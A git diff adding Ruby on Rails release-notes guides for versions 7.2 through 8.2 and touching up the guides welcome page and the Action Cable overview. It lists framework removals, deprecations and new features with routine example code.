+    - `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new`
+    - `ActiveSupport::Deprecation::DeprecatedConstantProxy.new`
+    - `assert_deprecated`
+    - `assert_not_deprecated`
+    - `collect_deprecations`
+
+*   Remove deprecated `ActiveSupport::Deprecation` delegation to instance.
+
+*   Remove deprecated `SafeBuffer#clone_empty`.
+
+*   Remove deprecated `#to_default_s` from `Array`, `Date`, `DateTime` and `Time`.
+
+*   Remove deprecated `:pool_size` and `:pool_timeout` options for the cache storage.
+
+*   Remove deprecated support for `config.active_support.cache_format_version = 6.1`.
+
+*   Remove deprecated constants `ActiveSupport::LogSubscriber::CLEAR` and `ActiveSupport::LogSubscriber::BOLD`.
+
+*   Remove deprecated support to bolding log text with positional boolean in `ActiveSupport::LogSubscriber#color`.
+
+*   Remove deprecated `config.active_support.disable_to_s_conversion`.
+
+*   Remove deprecated `config.active_support.remove_deprecated_time_with_zone_name`.
+
+*   Remove deprecated `config.active_support.use_rfc4122_namespaced_uuids`.
+
+*   Remove deprecated support to passing `Dalli::Client` instances to `MemCacheStore`.
+
+### Deprecations
+
+### Notable changes
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+*   Remove deprecated primitive serializer for `BigDecimal` arguments.
+
+*   Remove deprecated support to set numeric values to `scheduled_at` attribute.
+
+*   Remove deprecated `:exponentially_longer` value for the `:wait` in `retry_on`.
+
+### Deprecations
+
+*   Deprecate `Rails.application.config.active_job.use_big_decimal_serializer`.
+
+### Notable changes
+
+Action Text
+----------
+
+Please refer to the [Changelog][action-text] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Mailbox
+----------
+
+Please refer to the [Changelog][action-mailbox] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/7-2-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/7-2-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/7-2-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/7-2-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/7-2-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/7-2-stable/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/7-2-stable/activestorage/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/7-2-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/7-2-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/7-2-stable/activejob/CHANGELOG.md
+[action-text]:    https://github.com/rails/rails/blob/7-2-stable/actiontext/CHANGELOG.md
+[action-mailbox]: https://github.com/rails/rails/blob/7-2-stable/actionmailbox/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/7-2-stable/guides/CHANGELOG.md
diff --git a/guides/source/8_0_release_notes.md b/guides/source/8_0_release_notes.md
new file mode 100644
index 0000000000000..b18ac4991f278
--- /dev/null
+++ b/guides/source/8_0_release_notes.md
@@ -0,0 +1,318 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 8.0 Release Notes
+===============================
+
+Highlights in Rails 8.0:
+
+* Kamal 2.
+* Thruster.
+* Solid Cable.
+* Solid Cache.
+* Propshaft is used by default.
+* Authentication system generator.
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the changelogs or check out the [list of
+commits](https://github.com/rails/rails/commits/8-0-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 8.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 7.2 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 8.0. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-7-2-to-rails-8-0)
+guide.
+
+Major Features
+--------------
+
+### Kamal 2
+
+Rails now comes preconfigured with [Kamal 2](https://kamal-deploy.org/) for
+deploying your application. Kamal takes a fresh Linux box and turns it into an
+application or accessory server with just a single “kamal setup� command.
+
+Kamal 2 also includes a proxy called [Kamal Proxy](https://github.com/basecamp/kamal-proxy)
+to replace the generic Traefik option it used at launch.
+
+### Thruster
+
+The Dockerfile has been upgraded to include a new proxy called
+[Thruster](https://github.com/basecamp/thruster), which sits in front of the
+Puma web server to provide X-Sendfile acceleration, asset caching, and asset
+compression.
+
+### Solid Cable
+
+[Solid Cable](https://github.com/rails/solid_cable) replaces Redis to act as
+the pubsub server to relay WebSocket messages from the application to clients
+connected to different processes. Solid Cable retains the messages sent in
+the database for a day by default.
+
+### Solid Cache
+
+[Solid Cache](https://github.com/rails/solid_cache) replaces either
+Redis or Memcached for storing HTML fragment caches in particular.
+
+### Solid Queue
+
+[Solid Queue](https://github.com/rails/solid_queue) replaces the need for
+Redis, also a separate job-running framework, like Resque, Delayed Job, or
+Sidekiq.
+
+For high-performance installations, it’s built on the new `FOR UPDATE SKIP LOCKED`
+mechanism first introduced in PostgreSQL 9.5, but now also available in MySQL 8.0
+and beyond. It also works with SQLite.
+
+### Propshaft
+
+[Propshaft](https://github.com/rails/propshaft) is now the default asset
+pipeline, replacing the old Sprockets system.
+
+### Authentication
+
+[Authentication system generator](https://github.com/rails/rails/pull/52328),
+creates a starting point for a session-based, password-resettable,
+metadata-tracking authentication system.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config.read_encrypted_secrets`.
+
+*   Remove deprecated file `rails/console/app`.
+
+*   Remove deprecated file `rails/console/helpers`.
+
+*   Remove deprecated support to extend Rails console through `Rails::ConsoleMethods`.
+
+### Deprecations
+
+*   Deprecate requiring `"rails/console/methods"`.
+
+*   Deprecate modifying `STATS_DIRECTORIES` in favor of
+    `Rails::CodeStatistics.register_directory`.
+
+*   Deprecate `bin/rake stats` in favor of `bin/rails stats`.
+
+### Notable changes
+
+*   Set `Regexp.timeout` to `1`s by default to improve security over Regexp Denial-of-Service attacks.
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Remove `Rails.application.config.action_controller.allow_deprecated_parameters_hash_equality`.
+
+### Deprecations
+
+*   Deprecate drawing routes with multiple paths to make routing faster.
+
+### Notable changes
+
+*   Introduce safer, more explicit params handling method with [`params#expect`](https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-expect) such that
+    `params.expect(table: [ :attr ])` replaces `params.require(:table).permit(:attr)`.
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Remove deprecated support to passing `nil` to the `model:` argument of `form_with`.
+
+*   Remove deprecated support to passing a content to void tag elements on the `tag` builder.
+
+### Deprecations
+
+### Notable changes
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config.active_record.commit_transaction_on_non_local_return`.
+
+*   Remove deprecated `config.active_record.allow_deprecated_singular_associations_name`.
+
+*   Remove deprecated support to finding database adapters that aren't registered to Active Record.
+
+*   Remove deprecated support for defining `enum` with keyword arguments.
+
+*   Remove deprecated `config.active_record.warn_on_records_fetched_greater_than`.
+
+*   Remove deprecated `config.active_record.sqlite3_deprecated_warning`.
+
+*   Remove deprecated `ActiveRecord::ConnectionAdapters::ConnectionPool#connection`.
+
+*   Remove deprecated support to passing a database name to `cache_dump_filename`.
+
+*   Remove deprecated support to setting `ENV["SCHEMA_CACHE"]`.
+
+### Deprecations
+
+*   Deprecate the `retries` option for the `SQLite3Adapter` in favor of
+    `timeout`.
+
+### Notable changes
+
+*   Running `db:migrate` on a fresh database now loads the schema before running
+    migrations. Subsequent calls will run pending migrations.
+    (If you need the previous behavior of running migrations from scratch instead of loading the
+    schema file, this can be done by running `db:migrate:reset` which
+    _will drop and recreate the database before running migrations_)
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+*    Deprecate the Azure backend for Active Storage.
+
+### Notable changes
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `ActiveSupport::ProxyObject`.
+
+*   Remove deprecated support to setting `attr_internal_naming_format` with a `@` prefix.
+
+*   Remove deprecated support to passing an array of strings to `ActiveSupport::Deprecation#warn`.
+
+### Deprecations
+
+*   Deprecate `Benchmark.ms`.
+
+*   Deprecate addition and `since` between two `Time` and `ActiveSupport::TimeWithZone`.
+
+### Notable changes
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config.active_job.use_big_decimal_serializer`.
+
+### Deprecations
+
+*   Deprecate `enqueue_after_transaction_commit`.
+
+*   Deprecate internal `SuckerPunch` adapter in favor of the adapter included
+    with the `sucker_punch` gem.
+
+### Notable changes
+
+Action Text
+----------
+
+Please refer to the [Changelog][action-text] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Mailbox
+----------
+
+Please refer to the [Changelog][action-mailbox] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/8-0-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/8-0-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/8-0-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/8-0-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/8-0-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/8-0-stable/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/8-0-stable/activestorage/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/8-0-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/8-0-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/8-0-stable/activejob/CHANGELOG.md
+[action-text]:    https://github.com/rails/rails/blob/8-0-stable/actiontext/CHANGELOG.md
+[action-mailbox]: https://github.com/rails/rails/blob/8-0-stable/actionmailbox/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/8-0-stable/guides/CHANGELOG.md
diff --git a/guides/source/8_1_release_notes.md b/guides/source/8_1_release_notes.md
new file mode 100644
index 0000000000000..0e400acd60dfe
--- /dev/null
+++ b/guides/source/8_1_release_notes.md
@@ -0,0 +1,481 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 8.1 Release Notes
+===============================
+
+Highlights in Rails 8.1:
+
+* Active Job Continuations.
+* Structured Event Reporting.
+* Local CI.
+* Markdown Rendering.
+* Command-line Credentials Fetching.
+* Deprecated Associations.
+* Registry-Free Kamal Deployments
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the changelogs or check out the [list of
+commits](https://github.com/rails/rails/commits/8-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 8.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 8.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 8.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-8-0-to-rails-8-1)
+guide.
+
+Major Features
+--------------
+
+### Active Job Continuations
+
+Long-running jobs can now be broken into discrete steps that allow execution to
+continue from the last completed step rather than the beginning after a restart.
+This is especially helpful when doing deploys with Kamal, which will only give
+job-running containers thirty seconds to shut down by default.
+
+Example:
+
+```ruby
+class ProcessImportJob < ApplicationJob
+  include ActiveJob::Continuable
+
+  def perform(import_id)
+    @import = Import.find(import_id)
+
+    # block format
+    step :initialize do
+      @import.initialize
+    end
+
+    # step with cursor, the cursor is saved when the job is interrupted
+    step :process do |step|
+      @import.records.find_each(start: step.cursor) do |record|
+        record.process
+        step.advance! from: record.id
+      end
+    end
+
+    # method format
+    step :finalize
+  end
+
+  private
+    def finalize
+      @import.finalize
+    end
+end
+```
+
+### Structured Event Reporting
+
+The default logger in Rails is great for human consumption, but less ideal for
+post-processing. The new Event Reporter provides a unified interface for
+producing structured events in Rails applications:
+
+```ruby
+Rails.event.notify("user.signup", user_id: 123, email: "user@example.com")
+```
+
+It supports adding tags to events:
+
+```ruby
+Rails.event.tagged("graphql") do
+  # Event includes tags: { graphql: true }
+  Rails.event.notify("user.signup", user_id: 123, email: "user@example.com")
+end
+```
+
+As well as context:
+
+```ruby
+# All events will contain context: {request_id: "abc123", shop_id: 456}
+Rails.event.set_context(request_id: "abc123", shop_id: 456)
+```
+
+Events are emitted to subscribers. Applications register subscribers to
+control how events are serialized and emitted. Subscribers must implement
+an `#emit` method, which receives the event hash:
+
+```ruby
+class LogSubscriber
+  def emit(event)
+    payload = event[:payload].map { |key, value| "#{key}=#{value}" }.join(" ")
+    source_location = event[:source_location]
+    log = "[#{event[:name]}] #{payload} at #{source_location[:filepath]}:#{source_location[:lineno]}"
+    Rails.logger.info(log)
+  end
+end
+```
+
+### Local CI
+
+Developer machines have gotten incredibly quick with loads of cores, which make
+them great local runners of even relatively large test suites.
+
+This makes getting rid of a cloud-setup for all of CI not just feasible but
+desirable for many small-to-mid-sized applications, and Rails has therefore
+added a default CI declaration DSL, which is defined in `config/ci.rb` and run
+by `bin/ci`. It looks like this:
+
+```ruby
+CI.run do
+  step "Setup", "bin/setup --skip-server"
+  step "Style: Ruby", "bin/rubocop"
+
+  step "Security: Gem audit", "bin/bundler-audit"
+  step "Security: Importmap vulnerability audit", "bin/importmap audit"
+  step "Security: Brakeman code analysis", "bin/brakeman --quiet --no-pager --exit-on-warn --exit-on-error"
+  step "Tests: Rails", "bin/rails test"
+  step "Tests: Seeds", "env RAILS_ENV=test bin/rails db:seed:replant"
+
+  # Requires the `gh` CLI and `gh extension install basecamp/gh-signoff`.
+  if success?
+    step "Signoff: All systems go. Ready for merge and deploy.", "gh signoff"
+  else
+    failure "Signoff: CI failed. Do not merge or deploy.", "Fix the issues and try again."
+  end
+end
+```
+
+The optional integration with gh ensures that PRs must be signed off by a
+passing CI run in order to be eligible to be merged.
+
+### Markdown Rendering
+
+Markdown has become the lingua franca of AI, and Rails has embraced this
+adoption by making it easier to respond to markdown requests and render them
+directly:
+
+```ruby
+class Page
+  def to_markdown
+    body
+  end
+end
+
+class PagesController < ActionController::Base
+  def show
+    @page = Page.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.md { render markdown: @page }
+    end
+  end
+end
+```
+
+### Command-line Credentials Fetching
+
+Kamal can now easily grab its secrets from the encrypted Rails credentials store
+for deploys. This makes it a low-fi alternative to external secret stores that
+only needs the master key available to work:
+
+```bash
+# .kamal/secrets
+KAMAL_REGISTRY_PASSWORD=$(rails credentials:fetch kamal.registry_password)
+```
+
+### Deprecated Associations
+
+Active Record associations can now be marked as being deprecated:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :posts, deprecated: true
+end
+```
+
+With that, usage of the `posts` association will be reported. This includes
+explicit API calls like
+
+```ruby
+author.posts
+author.posts = ...
+```
+
+and others, as well as indirect usage like
+
+```ruby
+author.preload(:posts)
+```
+
+usage via nested attributes, and more.
+
+Three reporting modes are supported (`:warn`, `:raise`, and `:notify`), and
+backtraces can be enabled or disabled, though you always get the location of the
+reported usage regardless. Defaults are `:warn` mode and disabled backtraces.
+
+### Registry-Free Kamal Deployments
+
+Kamal no longer needs a remote registry, like Docker Hub or GHCR, to do basic deploys. By default, Kamal 2.8 will now use a local registry for simple deploys. For large-scale deploys, you'll still want to use a remote registry, but this makes it easier to get started and see your first Hello World deployment in the wild.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `rails/console/methods.rb` file.
+
+*   Remove deprecated `bin/rake stats` command.
+
+*   Remove deprecated `STATS_DIRECTORIES`.
+
+### Deprecations
+
+### Notable changes
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Remove deprecated support to skipping over leading brackets in parameter names in the parameter parser.
+
+    Before:
+
+    ```ruby
+    ActionDispatch::ParamBuilder.from_query_string("[foo]=bar") # => { "foo" => "bar" }
+    ActionDispatch::ParamBuilder.from_query_string("[foo][bar]=baz") # => { "foo" => { "bar" => "baz" } }
+    ```
+
+    After:
+
+    ```ruby
+    ActionDispatch::ParamBuilder.from_query_string("[foo]=bar") # => { "[foo]" => "bar" }
+    ActionDispatch::ParamBuilder.from_query_string("[foo][bar]=baz") # => { "[foo]" => { "bar" => "baz" } }
+    ```
+
+*   Remove deprecated support for using semicolons as a query string separator.
+
+    Before:
+
+    ```ruby
+    ActionDispatch::QueryParser.each_pair("foo=bar;baz=quux").to_a
+    # => [["foo", "bar"], ["baz", "quux"]]
+    ```
+
+    After:
+
+    ```ruby
+    ActionDispatch::QueryParser.each_pair("foo=bar;baz=quux").to_a
+    # => [["foo", "bar;baz=quux"]]
+    ```
+
+*   Remove deprecated support to a route to multiple paths.
+
+### Deprecations
+
+*   Deprecate `Rails.application.config.action_dispatch.ignore_leading_brackets`.
+
+### Notable changes
+
+*   Redirects are now verbose in development for new Rails apps. To enable it in an existing app, add `config.action_dispatch.verbose_redirect_logs = true` to your `config/development.rb` file.
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `:retries` option for the SQLite3 adapter.
+
+*   Remove deprecated `:unsigned_float` and `:unsigned_decimal` column methods for MySQL.
+
+### Deprecations
+
+*   Deprecate using an [order dependent finder
+    method](https://github.com/rails/rails/pull/54608) (e.g. `#first`) without
+    an `order`.
+
+*   Deprecate `ActiveRecord::Base.signed_id_verifier_secret` in favor of
+    `Rails.application.message_verifiers` (or `Model.signed_id_verifier` if the
+    secret is specific to a model).
+
+*   Deprecate using `insert_all`/`upsert_all` with unpersisted records in
+    associations.
+
+*   Deprecate usage of `WITH`, `WITH RECURSIVE` and `DISTINCT` with
+    `update_all`.
+
+### Notable changes
+
+*   The table columns inside `schema.rb` are [now sorted alphabetically.](https://github.com/rails/rails/pull/53281)
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `:azure` storage service.
+
+### Deprecations
+
+### Notable changes
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Remove deprecated passing a Time object to `Time#since`.
+
+*   Remove deprecated `Benchmark.ms` method. It is now defined in the `benchmark` gem.
+
+*   Remove deprecated addition for `Time` instances with `ActiveSupport::TimeWithZone`.
+
+*   Remove deprecated support for `to_time` to preserve the system local time. It will now always preserve the receiver
+    timezone.
+
+### Deprecations
+
+*   Deprecate `config.active_support.to_time_preserves_timezone`.
+
+*   Deprecate `String#mb_chars` and `ActiveSupport::Multibyte::Chars`.
+
+*   Deprecate `ActiveSupport::Configurable`.
+
+### Notable changes
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+*   Remove support to set `ActiveJob::Base.enqueue_after_transaction_commit` to `:never`, `:always` and `:default`.
+
+*   Remove deprecated `Rails.application.config.active_job.enqueue_after_transaction_commit`.
+
+*   Remove deprecated internal `SuckerPunch` adapter in favor of the adapter included with the `sucker_punch` gem.
+
+### Deprecations
+
+*   Custom Active Job serializers must have a public `#klass` method.
+
+*   Deprecate built-in `sidekiq` adapter (now provided by `sidekiq` gem).
+
+### Notable changes
+
+Action Text
+----------
+
+Please refer to the [Changelog][action-text] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+* Deprecate the `ActionText::TrixAttachment` class
+
+* Deprecate the `ActionText::Attachments::TrixConversion` module
+
+* Deprecate `ActionText::Attachable#to_trix_content_attachment_partial_path`. Override `to_editor_content_attachment_partial_path` instead.
+
+* Deprecate `ActionText::RichText#to_trix_html`.
+
+* Deprecate `ActionText::Content#to_trix_html`.
+
+### Notable changes
+
+Action Mailbox
+----------
+
+Please refer to the [Changelog][action-mailbox] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/main/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/main/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/main/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/main/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/main/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/main/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/main/activestorage/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/main/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/main/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/main/activejob/CHANGELOG.md
+[action-text]:    https://github.com/rails/rails/blob/main/actiontext/CHANGELOG.md
+[action-mailbox]: https://github.com/rails/rails/blob/main/actionmailbox/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/main/guides/CHANGELOG.md
diff --git a/guides/source/8_2_release_notes.md b/guides/source/8_2_release_notes.md
new file mode 100644
index 0000000000000..05488f588bb49
--- /dev/null
+++ b/guides/source/8_2_release_notes.md
@@ -0,0 +1,183 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 8.2 Release Notes
+===============================
+
+Highlights in Rails 8.2:
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 8.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 8.1 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 8.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-8-1-to-rails-8-2)
+guide.
+
+Major Features
+--------------
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Text
+----------
+
+Please refer to the [Changelog][action-text] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Mailbox
+----------
+
+Please refer to the [Changelog][action-mailbox] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/main/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/main/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/main/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/main/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/main/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/main/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/main/activestorage/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/main/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/main/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/main/activejob/CHANGELOG.md
+[action-text]:    https://github.com/rails/rails/blob/main/actiontext/CHANGELOG.md
+[action-mailbox]: https://github.com/rails/rails/blob/main/actionmailbox/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/main/guides/CHANGELOG.md
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
index 5bd1ea4d22232..7c1aebea139a5 100644
--- a/guides/source/_welcome.html.erb
+++ b/guides/source/_welcome.html.erb
@@ -1,24 +1,16 @@
-<h2>Ruby on Rails Guides (<%= @edge ? @edge[0, 7] : @version %>)</h2>
+<h1>Ruby on Rails Guides (<%= @edge ? @edge[0, 7] : @version %>)</h1>
 
 <% if @edge %>
 <p>
-  These are <b>Edge Guides</b>, based on <a href="https://github.com/rails/rails/tree/<%= @edge %>">master@<%= @edge[0, 7] %></a>.
+  These are <b>Edge Guides</b>, based on <a href="https://github.com/rails/rails/tree/<%= @edge %>">main@<%= @edge[0, 7] %></a>.
 </p>
 <p>
   If you are looking for the ones for the stable version, please check
-  <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead.
+  <a href="https://guides.rubyonrails.org">https://guides.rubyonrails.org</a> instead.
 </p>
 <% else %>
 <p>
-  These are the new guides for Rails 5.0 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+  These are the new guides for Rails 8.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
   These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
 </p>
 <% end %>
-<p>
-The guides for earlier releases:
-<a href="http://guides.rubyonrails.org/v4.2/">Rails 4.2</a>,
-<a href="http://guides.rubyonrails.org/v4.1/">Rails 4.1</a>,
-<a href="http://guides.rubyonrails.org/v4.0/">Rails 4.0</a>,
-<a href="http://guides.rubyonrails.org/v3.2/">Rails 3.2</a>, and
-<a href="http://guides.rubyonrails.org/v2.3/">Rails 2.3</a>.
-</p>
diff --git a/guides/source/action_cable_overview.md b/guides/source/action_cable_overview.md
index e929945dd0975..bb5350d07dd95 100644
--- a/guides/source/action_cable_overview.md
+++ b/guides/source/action_cable_overview.md
@@ -1,20 +1,22 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
 Action Cable Overview
 =====================
 
-In this guide you will learn how Action Cable works and how to use WebSockets to
+In this guide, you will learn how Action Cable works and how to use WebSockets to
 incorporate real-time features into your Rails application.
 
 After reading this guide, you will know:
 
-* What Action Cable is and its integration on backend and frontend  
-* How to setup Action Cable
-* How to setup channels
+* What Action Cable is and its integration backend and frontend
+* How to set up Action Cable
+* How to set up channels
